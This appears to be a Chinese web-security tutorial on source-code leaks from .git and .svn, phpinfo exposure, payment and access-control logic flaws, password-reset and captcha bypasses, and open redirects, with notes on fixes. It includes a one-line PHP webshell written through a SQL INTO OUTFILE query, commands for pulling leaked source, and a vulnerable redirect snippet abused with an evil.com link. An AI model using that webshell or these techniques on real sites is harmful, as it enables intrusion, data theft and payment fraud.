0x01 敏感信息泄露
信息泄漏是指在正常情况下不能被普通用户访问的敏感信息没有被应用程序所保护，能够直接访问。就web来说这种类型的问题往往会带来巨大的危害，攻击者不仅可以轻松收集用户手机号，姓名等隐私信息，更可以借此攻入企业后台甚至是getshell。下面介绍一些常见的web信息泄漏漏洞。
.git源码泄露
在使用命令git init&git add *后会在当前目录生成.git后缀的隐藏文件 文件路径在 www.xxx.com/.git
我们使用GitHack工具对网页源代码进行下载
python2 GitHack.py http://localhost/.git
完成后会在GitHack目录生成IP地址为名称的文件夹 文件夹内保存网站源代码
svn源码泄露
svn<=1.6
从svn的结构图可以看到一个目录text-base,这里有我们源文件的备份,比如要下载www.xxx.com/phpinfo.php,直接访问目录www.xxx.com/.svn/text-base/phpinfo.php.text-base,一般的服务器既不会阻止该目录也不会解释该后缀，我们就可以直接读到本地来。现在只是访问最顶层的文件信息，那怎么遍历呢？这里面就有.svn/entries，这个文件包含着该基础目录下所有的文件和目录，直接递推查找就行。
svn>1.6
svn在1.6之后引入了wc.db来管理文件，该文件位于.svn/wc.db。普通文件位置：www.xxx.com/.svn/pristine/xx/checksum.svn-base,checksum是文件的sha1值，xx则是它的前两位。那这个checksum去哪找呢？就是我们刚才提到的wc.db，这是一个sqlite数据库，下面分析下这个数据库的结构。
使用sqlite3查看数据库中的表名
sqlite3 wc.db .tables
继续查询NODES表里local_relpath和checksum的字段，可以看到所有的文件以及对应的sha1值
sqlite3 wc.db 'select local_relpath, checksum from NODES'
将文件名对应的sha1值进行拼接即可获得文件路径 查看源码即可获得页面源码
www.xxx.com/.svn/pristine/[sha1值前两位]/[sha1值].svn-base,checksum
phpinfo信息泄露
使用目录扫描工具例如nikto扫描目标
nikto -h http://www.xxx.com
如果扫描出phpinfo则可以搜索关键字SCRIPT_FILENAME找到站点目录
通过Sql语句写入webshell
select '<?php @eval($_REQUEST[pass]);?>' into outfile 'c://phpstudy//www//night7i.php'
0x02 支付逻辑漏洞
1.支付过程中可直接修改数据包中的支付金额
这种漏洞应该是支付漏洞中最常见的，主要针对支付宝等需要第三方支付的案例。开发人员往往会为了方便，直接在支付的关键步骤数据包中直接传递需要支付的金额。而这种金额后端没有做校验，传递过程中也没有做签名，导致可以随意篡改金额提交。
只需要在支付过程中用抓包工具抓包发现有金额的参数修改成任意即可。
12308订单支付时的总价未验证漏洞(支付逻辑漏洞)
2.没有对购买数量进行限制
这种案例也比较常见，产生的原因是开发人员没有对购买商品的数量参数进行严格的限制。这种同样是数量的参数没有做签名，在抓包后导致可随意修改数量，经典的修改方式就是改成负数。
当购买的数量是一个负数时，总额的算法仍然是"购买数量x单价=总价"。所以这样就会导致有一个负数的需支付金额。若支付成功，则可能导致购买到了一个负数数量的产品，也有可能购物网站会返还相应的积分/金币到你的账户上。
但是，这种情况不可能发生在通过支付宝支付的订单中，因为显然支付宝是不支持一个负数金额的订单，所以这种情况多数发生在一个有站内虚拟货币的网站。
国美网上商城支付漏洞1元订购Iphone 4S！
3.购买商品编号篡改
例如商品积分兑换处，100个积分只能换商品编号为001的低价格商品，1000个积分能换商品编号005的高价格商品，在用100积分换商品的时候抓包把换商品的编号从001修改为005，用低积分换区高积分商品。
联想某积分商城支付漏洞再绕过
4.支付逻辑顺序执行缺陷
部分网站的支付逻辑可能是先A过程后B过程然后C过程最后D过程用户控制着他们给应用程序发送的每一个请求，因此能够按照任何顺序进行访问。但是，如果用户直接从B直接进入了D过程，就绕过了C过程。如果C是支付过程，那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程，就会绕过验证直接进入网站程序了。
万达某分站逻辑错误可绕过支付直接获得取票密码
5.请求重放
购买商品成功后，重放购买成功的http请求，可以使购买的商品一直增加。购买成功后，会有一个从银行向商户网站跳转的过程，如果这个过程反复的重放，有可能导致商品的反复购买和增加，但是用户不需要支付更多的金钱。
6.程序的异常处理
程序的异常处理比较少见，不过也是有案例的。程序的异常处理，就是指支付的数据包异常的程序的错误处理。这种异常可以是数据与KEY不符，支付的金额有错误，购买的数量不正确等等。程序的异常处理出现的原因主要是开发人员对出现异常后的处理不当造成的。
115网盘存在支付绕过
0x03 权限绕过漏洞
越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。越权又可以分为两种：水平越权与垂直越权。接下来，将深入分析水平越权与垂直越权。
水平越权
水平越权就是相同级别（权限）的用户或者同一角色的不同用户之间，可以越权访问、修改或者删除的非法操作。如果出现此类漏洞，那么将可能会造成大批量数据泄露，严重的甚至会造成用户信息被恶意篡改。
1.在服务端未做seesion校验时，修改数据包中提交的数据来实现水平越权
垂直越权
垂直越权又叫做权限提升攻击，具体原因就是web应用没有做用户权限控制，或者只是在菜单上做了权限控制，导致恶意用户只要猜测到其他管理页面的URL，就可以访问或者控制其他角色拥有的数据或者页面，达到权限提升的目的。
1.在普通用户和管理员用户存在于同一表内时，提交注册普通用户请求时，附带管理员参数，可实现垂直越权
注意事项
- 越权漏洞可能导致遍历用户信息从而导致泄漏
- 数据库里避免将管理员表和普通用户表放在一起
- 垂直越权又被分为向上越权与向下越权
- 用户对某数据进行增删改查时需要去校验下所操作的数据是否属于该用户
- web和app都可能发生越权漏洞
- 传递的订单ID使用随机数不可猜测可以一定程度上避免越权
0x04 密码找回漏洞
为了防止用户遗忘密码，大多数网站都提供了找回密码功能。常见的找回密码方式有：邮箱找回密码、根据密码保护问题找回密码、根据手机号码找回密码等。虽然这些方式都可以找回密码，但实现方式各不相同。无论是哪种密码找回方式，在找回密码时，除了自己的用户密码，如果还能找回其他用户的密码，就存在密码找回漏洞。
密码找回漏洞在逻辑漏洞中占了较大的比例。测试密码找回漏洞与其他逻辑漏洞的方法相同，其中必经的两个步骤是：熟悉业务流程（密码找回过程）与对流程中的HTTP请求分析。下面将介绍一些密码找回漏洞。
1.密码找回的凭证太弱，如只需要填入一个四位或者六位的纯数字就可以重置密码，导致可以暴力破解。
当当网任意用户密码修改漏洞
2.密码找回凭证可从客户端直接获取。
密码找回凭证在客户端获取，在密码找回时注意抓包查看所有url返回响应等，看是否有最终的凭证出现，这样就可以绕过手机或者安全邮箱了。
走秀网秀团任意密码修改缺陷
3.密码找回凭证在页面中可以直接获取。
一个经典案例，找回密码的答案在网页的源代码中……
sohu邮箱任意用户密码重置
4.密码找回凭证存并非只是与单个用户并绑定的问题。
找回密码的关键凭证仅仅是时间戳的md5，被白帽子犀利的察觉到~，轻松找回任意账户密码。
奇虎360任意用户密码修改漏洞
5.密码找回凭证存并非只是与单个用户并绑定的问题。
找回密码凭证发到邮箱中，url中包含用户信息以及凭证，但是这个凭证可以重置任何用户。
身份通任意密码修改-泄漏大量公民信息
6.用户找回密码的邮箱地址或者手机号码被修改。
这个其实应该是绑定安全手机的逻辑问题，导致可以使任意用户帮上自己可控的安全手机，然后就可以重置任意人的手机号码了。
网易邮箱可直接修改其他用户密码
7.在最后提交修改的密码处的逻辑错误。
前面所有的逻辑都没有问题，那么是不是就没有问题了呢？
还有白帽子发现，在最后重置密码处跟随一个用户ID，改成其它用户的ID，即可把其它用户改成你刚刚修改的密码。
携程旅行网任意老板密码修改(庆在wooyun第100洞)
修复方案：
1.找回密码凭证够复杂并且不可猜测
2.密码找回凭证在不该出现的地方不要出现
3.找回密码时注意不要存在越权行为
0x05 验证码绕过漏洞
常见的验证码漏洞
1、客户端问题
(1)客户端生成验证码：验证码由客户端js生成并且仅仅在客户端用js验证；
(2)验证码放在客户端：输出在html中（这样的程序员！无语了！）
(3)验证码输出在cookie中：JavaScript：alert（document.cookie）
2、服务端问题
(1)验证码不过期，没有及时销毁会话导致验证码复用；验证码不变
(2)没有进行非空判断；
(3)产生的验证码问题集内的答案非常有限
3、验证码太简单，容易被机器识别
(验证码识别工具：PKAV HTTP Fuzzer)
0x06 url跳转漏洞
由于web应用越来越多的需要和其他的第三方应用交互，以及在自身应用内部根据不同的逻辑将用户引向到不同的页面，譬如一个典型的登录接口就经常需要在认证成功之后将用户引导到登录之前的页面，整个过程中如果实现不好就可能导致一些安全问题，特定条件下可能引起严重的安全漏洞。
对于URL跳转的实现一般会有几种实现方式：
1. META标签内跳转
2. javascript跳转
3. header头跳转
通过以GET或者POST的方式接收将要跳转的URL，然后通过上面的几种方式的其中一种来跳转到目标URL。一方面，由于用户的输入会进入Meta，javascript，http头所以都可能发生相应上下文的漏洞，如xss等等，但是同时，即使只是对于URL跳转本身功能方面就存在一个缺陷，因为会将用户浏览器从可信的站点导向到不可信的站点，同时如果跳转的时候带有敏感数据一样可能将敏感数据泄漏给不可信的第三方。
譬如一个典型的登录跳转如下：
<?php
$url=$_GET['jumpto'];
header("Location: $url");
?>
如果jumpto没有任何限制，所以恶意用户可以提交
http://www.baidu.com/login.php?jumpto=http://www.evil.com
来生成自己的恶意链接，安全意识较低的用户很可能会以为该链接展现的内容是www.baidu.com从而可能产生欺诈行为，同时由于QQ，淘宝旺旺等在线IM都是基于URL的过滤，同时对一些站点会一白名单的方式放过，所以导致恶意URL在IM里可以传播，从而产生危害，譬如这里IM会认为www.baidu.com都是可信的，但是通过在IM里点击上述链接将导致用户最终访问evil.com。
恶意用户完全可以借用URL跳转漏洞来欺骗安全意识低的用户，从而导致“中奖”之类的欺诈，这对于一些有在线业务的企业如淘宝等，危害较大，同时借助URL跳转，也可以突破常见的基于“白名单方式”的一些安全限制，如传统IM里对于URL的传播会进行安全校验，但是对于大公司的域名及URL将直接允许通过并且显示会可信的URL，而一旦该URL里包含一些跳转漏洞将可能导致安全限制被绕过。
如果引用一些资源的限制是依赖于“白名单方式”，同样可能被绕过导致安全风险，譬如常见的一些应用允许引入可信站点如youku.com的视频，限制方式往往是检查URL是否是youku.com来实现，如果youku.com内含一个url跳转漏洞，将导致最终引入的资源属于不可信的第三方资源或者恶意站点，最终导致安全问题。
漏洞通常发生在以下几个地方：
1. 用户登录、统一身份认证处，认证完后会跳转
2. 用户分享、收藏内容过后，会跳转
3. 跨站点认证、授权后，会跳转
4. 站内点击其它网址链接时，会跳转
常见的可能产生漏洞的参数名：redirect，redirect_to，redirect_url，url，jump，jump_to，target，to，link，linkto，domain